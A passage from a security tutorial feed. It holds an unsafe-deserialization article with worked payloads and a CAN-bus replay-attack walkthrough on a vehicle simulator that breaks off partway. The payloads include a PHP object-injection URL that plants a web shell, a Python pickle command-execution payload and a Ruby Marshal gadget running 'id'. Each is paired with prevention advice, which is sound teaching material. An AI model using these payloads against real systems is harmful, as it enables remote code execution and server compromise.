"><code><span class="hljs-meta">&#x3C;?php</span>

<span class="hljs-variable">$instance</span> = <span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">"data"</span>]);
</code></pre><p>To be exploitable, the vulnerable piece of code must have enough PHP code in scope to build a working POP chain, a chain of reusable PHP code that causes a meaningful impact when invoked. The chain usually starts by triggering __destroy() or __wakeup() PHP magic methods, called when the object is destroyed or deserialized, in order to call other gadgets to conduct malicious actions on the system.</p><p>If the class FSResource defined in the paragrah above is in scope, an attacker could send an HTTP request containing a serialized representation of an FSResource object that creates a malicious PHP file to path with an arbitrary content when the __destruct() magic method is called upon destruction.</p><pre data-type="codeBlock" text="http://localhost/script.php?data=O:10:%22FSResource%22:2:{s:4:%22path%22;s:9:%22shell.php%22;s:7:%22content%22;s:27:%22%3C?php%20system($_GET[%22cmd%22]);%22;}
"><code>http:<span class="hljs-regexp">//l</span>ocalhost/script.php?data=O:<span class="hljs-number">10</span>:%22FSResource%22:<span class="hljs-number">2</span>:{s:<span class="hljs-number">4</span>:%22path%22;s:<span class="hljs-number">9</span>:%22shell.php%22;s:<span class="hljs-number">7</span>:%22content%22;s:<span class="hljs-number">27</span>:%22%3C?php%20system($_GET[%22cmd%22]);%22;}
</code></pre><p>The payload above decodes as O:10:&quot;FSResource&quot;:2:{s:4:&quot;path&quot;;s:9:&quot;shell.php&quot;;s:7:&quot;content&quot;;s:27:&quot;&lt;?php system($_GET[&quot;cmd&quot;]);&quot;;} and, when deserialized, it creates the shell.php allowing the attacker to run arbitrary commands on the systems. More complex payloads can be built by chaining code from multiple classes or reusing public POP chains such as the ones included in the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ambionics/phpggc">PHPGCC</a> projects.</p><h3 id="h-prevention" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Prevention</h3><p>Never use the unserialize() function on user-supplied input, and preferably use data-only serialization formats such as JSON. If you need to use PHP deserialization, a second optional parameter has been added in PHP 7 that enables you to specify an allow list of allowed classes.</p><h3 id="h-references" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">References</h3><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Serialization">Wikipedia - Serialization</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.php.net/manual/en/function.unserialize.php">PHP unserialize </a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.owasp.org/index.php/PHP_Object_Injection">OWASP PHP Object Injection</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf">POC 2009 - Stefan Esser Shoking news in PHP exploitation</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf">BlackHat USA 2010 - Stefan Esser - Utilizing Code Reuse in PHP Application Exploits </a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ambionics/phpggc">PHPGCC</a></p></li></ul><h2 id="h-unsafe-deserialization-in-python" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Unsafe Deserialization in Python</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/61c98a51094db99d7fe3da818026053b5a486bfd4591e8d58376f2537ef675db.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-vulnerable-example" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Vulnerable example</h3><p>Python provides a native solution for this problem - the pickle library. The following Flask endpoint provides an example where untrusted data is fed into the pickle.loads function:</p><pre data-type="codeBlock" text="import pickle

@app.route(&quot;/import_object&quot;, methods=[&apos;POST&apos;])
def import_object():
    data = request.files.get(&apos;user_file&apos;).read()
    user_object = pickle.loads(data)
    store_in_database(user_object)
    return &apos;OK&apos;
"><code><span class="hljs-keyword">import</span> pickle

<span class="hljs-meta">@app</span>.route(<span class="hljs-string">"/import_object"</span>, methods=[<span class="hljs-string">'POST'</span>])
def import_object():
    <span class="hljs-keyword">data</span> = request.files.<span class="hljs-keyword">get</span>(<span class="hljs-string">'user_file'</span>).read()
    user_object = pickle.loads(<span class="hljs-keyword">data</span>)
    store_in_database(user_object)
    <span class="hljs-keyword">return</span> <span class="hljs-string">'OK'</span>
</code></pre><p>A malicious user could craft a payload that evaluates as code when unpickled. The Python program below outputs a payload that executes a system command when processed by pickle.loads:</p><pre data-type="codeBlock" text="import pickle
import os

class Pickle(object):
    def __reduce__(self):
        return os.system, (&apos;id &gt; /tmp/proof&apos;,)

o = Pickle()
p = pickle.dumps(o)
print(p)
"><code><span class="hljs-keyword">import</span> pickle
<span class="hljs-keyword">import</span> os

<span class="hljs-keyword">class</span> <span class="hljs-title class_">Pickle</span>(<span class="hljs-keyword">object</span>):
    def __reduce__(self):
        <span class="hljs-keyword">return</span> os.system, (<span class="hljs-string">'id > /tmp/proof'</span>,)

o = Pickle()
p = pickle.dumps(o)
print(p)
</code></pre><p>The _<em>reduce</em>_ method provides the logic to unserialize/serialize the object. When a tuple is returned, the first element is a callable, and the second represents its argument. Thus, it is possible to execute system commands by using the os.system function. In the above case, the payload writes the output of the id command to /tmp/proof. Here is an example:</p><pre data-type="codeBlock" text="sf@secureflag.com:~$ python3 generate.py
b&apos;\x80\x03cposix\nsystem\nq\x00X\x0f\x00\x00\x00id &gt; /tmp/proofq\x01\x85q\x02Rq\x03.&apos;
sf@secureflag.com:~$ python3
&gt;&gt;&gt; import pickle
&gt;&gt;&gt; pickle.loads(b&apos;\x80\x03cposix\nsystem\nq\x00X\x0f\x00\x00\x00id &gt; /tmp/proofq\x01\x85q\x02Rq\x03.&apos;)
0
sf@secureflag.com:~$ cat /tmp/proof
uid=1000(sf) gid=1000(sf) groups=1000(sf)
"><code>sf@secureflag.com:<span class="hljs-operator">~</span>$ python3 generate.py
b<span class="hljs-string">'\x80\x03cposix\nsystem\nq\x00X\x0f\x00\x00\x00id > /tmp/proofq\x01\x85q\x02Rq\x03.'</span>
sf@secureflag.com:<span class="hljs-operator">~</span>$ python3
<span class="hljs-operator">></span><span class="hljs-operator">></span><span class="hljs-operator">></span> <span class="hljs-keyword">import</span> <span class="hljs-title">pickle</span>
<span class="hljs-operator">></span><span class="hljs-operator">></span><span class="hljs-operator">></span> <span class="hljs-title">pickle</span>.<span class="hljs-title">loads</span>(<span class="hljs-title">b</span><span class="hljs-string">'\x80\x03cposix\nsystem\nq\x00X\x0f\x00\x00\x00id > /tmp/proofq\x01\x85q\x02Rq\x03.'</span>)
0
<span class="hljs-title">sf</span>@<span class="hljs-title">secureflag</span>.<span class="hljs-title">com</span>:<span class="hljs-operator">~</span><span class="hljs-title">$</span> <span class="hljs-title">cat</span> <span class="hljs-operator">/</span><span class="hljs-title">tmp</span><span class="hljs-operator">/</span><span class="hljs-title">proof</span>
<span class="hljs-title">uid</span><span class="hljs-operator">=</span>1000(<span class="hljs-title">sf</span>) <span class="hljs-title">gid</span><span class="hljs-operator">=</span>1000(<span class="hljs-title">sf</span>) <span class="hljs-title">groups</span><span class="hljs-operator">=</span>1000(<span class="hljs-title">sf</span>)
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><h3 id="h-prevention" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Prevention</h3><p>The pickle library’s documentation discourages the unpickling of untrusted data and suggests using data-only serialization formats such as JSON.</p><p>If you really need to unserialize content from an untrusted source, consider implementing a message authentication code (MAC) to ensure the data integrity of the payload.</p><h3 id="h-references" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">References</h3><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">OWASP - Deserialization Cheat Sheet </a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Serialization">Wikipedia - Serialization</a></p></li></ul><h2 id="h-unsafe-deserialization-in-ruby" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Unsafe Deserialization in Ruby</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/79ea9fa9a356183e9b98731320aba03a0309bb2157c31ffcb39d964c1a528ae7.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Ruby uses the Marshal library to serialize and unserialize objects. For example, the following script creates an instance of the object User, serializes it, and then prints the string representation of the object.</p><pre data-type="codeBlock" text="User = Struct.new(:name, :role)
user = User.new(&apos;Mike&apos;, :admin)
puts Marshal.dump(user).inspect

# Prints the following string representation:
# &quot;\x04\bS:\tUser\a:\tnameI\&quot;\tMike\x06:\x06ET:\trole:\nadmin&quot;
"><code>User <span class="hljs-operator">=</span> Struct.new(:name, :role)
user <span class="hljs-operator">=</span> User.new(<span class="hljs-string">'Mike'</span>, :admin)
puts Marshal.dump(user).inspect

# Prints the following <span class="hljs-keyword">string</span> representation:
# <span class="hljs-string">"\x04\bS:\tUser\a:\tnameI\"\tMike\x06:\x06ET:\trole:\nadmin"</span>
</code></pre><p>The string representation can then be deserialized again to recreate the object instance and access its attributes.</p><pre data-type="codeBlock" text="user = Marshal.load(&quot;\x04\bS:\tUser\a:\tnameI\&quot;\tMike\x06:\x06ET:\trole:\nadmin&quot;)
print(user.name);

# It prints the following string:
# Mike
"><code>user <span class="hljs-operator">=</span> <span class="hljs-type">Marshal</span>.load(<span class="hljs-string">"\x04\bS:<span class="hljs-subst">\t</span>User\a:<span class="hljs-subst">\t</span>nameI<span class="hljs-subst">\"</span><span class="hljs-subst">\t</span>Mike\x06:\x06ET:<span class="hljs-subst">\t</span>role:<span class="hljs-subst">\n</span>admin"</span>)
<span class="hljs-built_in">print</span>(user.name);

# <span class="hljs-type">It</span> prints the following string:
# <span class="hljs-type">Mike</span>
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><h3 id="h-vulnerable-example" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Vulnerable Example</h3><p>The exploitation of deserialization in Ruby happens when user-controlled input is passed as the first argument of the Marshal.load() function.</p><p>To be exploitable, the vulnerable piece of code must have enough Ruby code in scope to build a gadget chain, which means a chain of reusable code that causes a meaningful impact when invoked.</p><p>For example, assume that Marshal.load() deserializes user-provided data. An attacker could craft a malicious payload like the following one, which abuses an existing class to execute a command when deserialized.</p><pre data-type="codeBlock" text="class FSResource
  def initialize path
    @path    = path
  end

  def to_s
    open(@path).read
  end
end

# Craft the payload to execute `id` via the `open` function instead of opening a file
obj = FSResource.new(&apos;|id&apos;)
payload = Marshal.dump(obj)

# Unserializing the payload allows to execute arbitrary commands
serialized_obj = Marshal.load(payload)
puts serialized_obj

# It prints the output of id:
# uid=1002(admin) gid=1002(admin) groups=1002(admin)
"><code><span class="hljs-keyword">class</span> <span class="hljs-title class_">FSResource</span>
  <span class="hljs-keyword">def</span> <span class="hljs-title function_">initialize</span> path
    <span class="hljs-variable">@path</span>    = path
  <span class="hljs-keyword">end</span>

  <span class="hljs-keyword">def</span> <span class="hljs-title function_">to_s</span>
    open(<span class="hljs-variable">@path</span>).read
  <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>

<span class="hljs-comment"># Craft the payload to execute `id` via the `open` function instead of opening a file</span>
obj = <span class="hljs-title class_">FSResource</span>.new(<span class="hljs-string">'|id'</span>)
payload = <span class="hljs-title class_">Marshal</span>.dump(obj)

<span class="hljs-comment"># Unserializing the payload allows to execute arbitrary commands</span>
serialized_obj = <span class="hljs-title class_">Marshal</span>.load(payload)
puts serialized_obj

<span class="hljs-comment"># It prints the output of id:</span>
<span class="hljs-comment"># uid=1002(admin) gid=1002(admin) groups=1002(admin)</span>
</code></pre><h2 id="h-unsafe-deserialization-in-scala" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Unsafe Deserialization in Scala</h2><p>Scala (the same as Java) implements serialization natively for objects that implement the Serializable interface via the ObjectInputStream and ObjectOutputStream facilities. The binary format used directly references classes by name that are eventually loaded dynamically, provided that they are in the class path. This potentially allows instantiating objects of classes not initially intended by the developer, thus it is very important that untrusted data is not deserialized as is.</p><p>Developers may customize some aspects of the serialization process by providing callbacks such as writeReplace and readResolve. This could be exploited by an attacker to build chains by building complex objects that eventually lead to code execution or other actions on the target. Especially when complex and well-known libraries and frameworks are used, attackers may leverage publicly available tools such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/frohoff/ysoserial">ysoserial</a> to easily craft the appropriate payload.</p><h3 id="h-vulnerable-example" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Vulnerable Example</h3><p>The following Play controller uses the data coming from the client request to deserialize an object:</p><pre data-type="codeBlock" text="def handler() =
  AuthAction(parse.multipartFormData) { implicit request =&gt; {
    request.body.file(&quot;file&quot;) match {
      case Some(file) =&gt; {
        // deserialize data from Base64 file upload
        val base64Data = new String(Files.readAllBytes(Paths.get(file.ref.path.toString()))).trim()
        val data = Base64.getDecoder().decode(base64Data)
        val ois = new ObjectInputStream(new ByteArrayInputStream(data))
        val object = ois.readObject().asInstanceOf[MyClass]
        ois.close()

        // ...
      }
      case None =&gt; InternalServerError(&quot;...&quot;)
    }
  }
}
"><code>def handler() <span class="hljs-operator">=</span>
  AuthAction(parse.multipartFormData) { implicit request <span class="hljs-operator">=</span><span class="hljs-operator">></span> {
    request.body.file(<span class="hljs-string">"file"</span>) match {
      case Some(file) <span class="hljs-operator">=</span><span class="hljs-operator">></span> {
        <span class="hljs-comment">// deserialize data from Base64 file upload</span>
        val base64Data <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> String(Files.readAllBytes(Paths.get(file.ref.path.toString()))).trim()
        val data <span class="hljs-operator">=</span> Base64.getDecoder().decode(base64Data)
        val ois <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> ObjectInputStream(<span class="hljs-keyword">new</span> ByteArrayInputStream(data))
        val object <span class="hljs-operator">=</span> ois.readObject().asInstanceOf[MyClass]
        ois.close()

        <span class="hljs-comment">// ...</span>
      }
      case None <span class="hljs-operator">=</span><span class="hljs-operator">></span> InternalServerError(<span class="hljs-string">"..."</span>)
    }
  }
}
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><h2 id="h-prevention" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Prevention</h2><p>Never pass user-supplied input to the Scala deserialization mechanism, and opt for data-only serialization formats such as JSON.</p><p>If the deserialization of untrusted data is really necessary, consider adopting an allow list approach to only allow objects of certain classes to be deserialized.</p><p>It is possible to specialize the implementation of the ObjectInputStream object. The following snippet only allows one to deserialize instances of the MyClass class:</p><pre data-type="codeBlock" text="class SafeInputStream(inputStream: InputStream) extends ObjectInputStream(inputStream) {
  override def resolveClass(objectStreamClass: java.io.ObjectStreamClass): Class[_] = {
    objectStreamClass.getName match {
      case &quot;MyClass&quot; | &quot;scala.Some&quot; | &quot;scala.Option&quot; =&gt; super.resolveClass(objectStreamClass)
      case _ =&gt; throw new InvalidClassException(&quot;Forbidden class&quot;, objectStreamClass.getName)
    }
  }
}
"><code>class SafeInputStream(inputStream: InputStream) extends ObjectInputStream(inputStream) {
  <span class="hljs-keyword">override</span> def resolveClass(objectStreamClass: java.io.ObjectStreamClass): Class[<span class="hljs-keyword">_</span>] <span class="hljs-operator">=</span> {
    objectStreamClass.getName match {
      case <span class="hljs-string">"MyClass"</span> <span class="hljs-operator">|</span> <span class="hljs-string">"scala.Some"</span> <span class="hljs-operator">|</span> <span class="hljs-string">"scala.Option"</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-built_in">super</span>.resolveClass(objectStreamClass)
      case <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> InvalidClassException(<span class="hljs-string">"Forbidden class"</span>, objectStreamClass.getName)
    }
  }
}
</code></pre><p>It is then possible to invoke the deserialization in the usual way:</p><pre data-type="codeBlock" text="val ois = new SafeInputStream(new ByteArrayInputStream(data))
val object = ois.readObject().asInstanceOf[MyClass]
"><code>val ois <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> SafeInputStream(<span class="hljs-keyword">new</span> ByteArrayInputStream(data))
val object <span class="hljs-operator">=</span> ois.readObject().asInstanceOf[MyClass]
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><h3 id="h-references" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">References</h3><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#java">OWASP - Deserialization Cheat Sheet</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Serialization">Wikipedia - Serialization </a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html">Oracle - Serializable </a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.oracle.com/javase/10/core/serialization-filtering1.htm">Oracle - Serialization Filtering </a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/frohoff/ysoserial">GitHub - Ysoserial</a></p></li></ul>]]></content:encoded>
            <author>tutorialboy@newsletter.paragraph.com (TutorialBoy)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/a735cd65469ed50e4c05ae4d86c1b2e6e45f12b878ef49226ce303af98906682.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Getting Started with Internet of Vehicles Security - CAN Simulation]]></title>
            <link>https://paragraph.com/@tutorialboy/getting-started-with-internet-of-vehicles-security-can-simulation</link>
            <guid>iwLra58Hrg8GpB0YPHG3</guid>
            <pubDate>Wed, 19 Apr 2023 08:29:21 GMT</pubDate>
            <description><![CDATA[IntroductionInternet of Vehicles security is currently a popular development direction, but most people are stuck here because its entry threshold is too high (no real car). So I summed up the relevant information on the Internet and wrote this article so that students who study the security of the Internet of Vehicles can simulate what it feels like to control a car. This article uses Ubuntu to simulate the sending and receiving packets of the car CAN bus for operation. Learn, and then follo...]]></description>
            <content:encoded><![CDATA[<h2 id="h-introduction" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Introduction</h2><p>Internet of Vehicles security is currently a popular development direction, but most people are stuck here because its entry threshold is too high (no real car). So I summed up the relevant information on the Internet and wrote this article so that students who study the security of the Internet of Vehicles can simulate what it feels like to control a car. This article uses Ubuntu to simulate the sending and receiving packets of the car CAN bus for operation. Learn, and then follow me step by step to open the door to the security of the Internet of Vehicles!</p><h2 id="h-can" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">CAN</h2><p>CAN bus, also known as Controller Area Network the abbreviation of CAN bus, is a feature-rich vehicle bus standard. It is designed to allow microcontrollers and instruments on the network to communicate with each other without the need for a host. It is based on a messaging protocol and was originally designed to use multiplexed communication cables in vehicles to reduce copper wire usage, and has since been adopted by other industries as well. Simply put, it is a communication protocol used to control vehicle functions, such as door unlocking, turn signals, brakes, accelerators, etc. Why use the CAN protocol? Simply put, it is cheap and easy to use.</p><h2 id="h-can-bus-characteristics" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">CAN bus characteristics</h2><h3 id="h-security" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Security:</h3><p>CAN is a low-level protocol that does not support any inherent security features. There is also no encryption in standard CAN, which allows these network data to be intercepted. In most applications, applications need to deploy their own security mechanisms, such as authenticating incoming commands or the presence of certain devices on the network. Someone else could try to insert messages on the bus if proper security measures are not implemented. Although passwords exist for some safety-critical functions such as modifying firmware, programming keys, or controlling anti-lock brakes, these systems are not commonly implemented and the number of key pairs is limited.</p><h3 id="h-communication-mechanism" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Communication mechanism:</h3><p>multi-master - that is, each node has the ability to access the bus.</p><h3 id="h-addressing-mechanism" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Addressing mechanism:</h3><p>Message distinction: No node address is set, and messages are distinguished by message identifiers.</p><h3 id="h-frame-type" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Frame type:</h3><p>a data frame, remote frame, error frame, overload frame, frame interval</p><h3 id="h-attack-method" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Attack method:</h3><ul><li><p>Application packet fuzz testing</p></li></ul><ul><li><p>Dos attack test</p></li></ul><ul><li><p>Replay attack</p></li></ul><p>Since the data packets on the CAN bus do not have any encryption, these data packets can be intercepted and eavesdropped. Since the vehicle network uses the CAN protocol for communication, we can think that the function of the Internet of Vehicles is also to send and exchange data through the CAN network. For example, if we turn on the left turn signal, the electrical signal will be sent to each device on the network through the CAN bus. Then the left turn signal will interpret the data packet and execute the instructions in the data packet.</p><h2 id="h-attack-method" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Attack method</h2><p>The CAN bus attack methods we wrote in the CAN bus characteristics above include application message fuzzy testing, Dos attack testing, replay attacks, etc. Next, let’s practice replay attacks. As the name implies, data packets can be intercepted and then resent cause The vehicle is under our control and not the owner of the vehicle.</p><h3 id="h-required-tools" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Required Tools</h3><ul><li><p>Kali Linux</p></li></ul><ul><li><p>ICSim (Dashboard Simulator)</p></li></ul><ul><li><p>Socketcand (CAN network)</p></li></ul><ul><li><p>Kayak (a CAN bus analysis tool based on SocketCAN)</p></li></ul><p>ICSim is an open-source vehicle instrumentation simulator. The simulator contains two modules, controls and ICSim. The controls are responsible for generating simulated vehicle data, which are sent to the virtual CAN interface in the form of CAN messages, and ICSim reads from the virtual CAN interface. CAN message, and update the status of the corresponding parts on the instrument, such as vehicle speed, door status, etc.</p><h4 id="h-install-dependencies" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Install Dependencies</h4><pre data-type="codeBlock" text="sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf
"><code>sudo apt install libsdl2<span class="hljs-operator">-</span>dev libsdl2<span class="hljs-operator">-</span>image<span class="hljs-operator">-</span>dev can<span class="hljs-operator">-</span>utils maven autoconf
</code></pre><h4 id="h-icsim" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">ICSIM</h4><pre data-type="codeBlock" text="git clone https://github.com/zombieCraig/ICSim.gitcd ICSim/
sudo make
"><code>git <span class="hljs-built_in">clone</span> https://github.com/zombieCraig/ICSim.gitcd ICSim/
sudo make
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c63c1df86f8e9fa1f9817ccf673965c786d79a1ab48b73ed8dd3f24ef1520b02.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h4 id="h-socketcand" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Socketcand</h4><pre data-type="codeBlock" text="git clone https://github.com/linux-can/socketcand.gitwget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.incd socketcand/
autoconf./configure
make cleanmakesudo make install
"><code>git <span class="hljs-built_in">clone</span> https://github.com/linux-can/socketcand.gitwget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.incd socketcand/
autoconf./configure
make cleanmakesudo make install
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bcebe8d841d7ee814e869579d47934bfbe434ddbefe168bdc4df61424ed759c3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7d62caf376dbbe6743f014a3d2f7e82499c6d9d5d28c98665c6dcfc27697517c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h4 id="h-kayak" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Kayak</h4><p><code>git clone https://github.com/dschanoeh/Kayak.git``cd Kayak/ mvn clean package</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/16a71f6881eac0894841d97e5b0baa92bfed3596a9d004eadf2364fd3651a0ed.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>At this point, all installation is complete.</p><h3 id="h-start-attacking" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Start Attacking</h3><p>First set the vcan (virtual CAN) interface</p><p><code>sudo modprobe can``sudo modprobe vcan``sudo ip link add dev vcan0 type vcan``sudo ip link set up vcan0</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3f7c2fe6958df81d42197d7390c665beaa1bd5a24f686760f9c96b59c929347a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Open the Dashboard Simulator</p><p><code>./icsim vcan0</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3a0ec6749236a6cc5b0b257717d2588c8d33c68b2492934e495b21398bf4b23d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Open the dashboard controller</p><p><code>./controls vcan0</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/433249fa0e6075e773e64c958d6f1ae528371623ed222767537f184a6e5efa83.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h4 id="h-controls" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Controls</h4><p><strong>Function</strong>                 <strong>control button</strong></p><p>turn signal         Keyboard left and right keys</p><p>speed                 Keyboard up and down keys</p><p>open the door         Right SHIFT key + A</p><p>close the car door Left SHIFT key + A</p><p>open all doors         Left SHIFT key + Right SHIFT key</p><p>close all doors         Right SHIFT key + Left SHIFT key</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/feeccf563ca9a3d11bd3fbdce6c73ffbc1532f473f2ca42bb551607066402059.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Use candump to capture packets</p><p><code>candump vcan0 -l</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b07cf54cdc6c491288a88876d44f66b829e79d262ea83b7760210ec3c5ed9112.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>See the captured package, because the CAN is constantly communicating, the package will be very large.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img 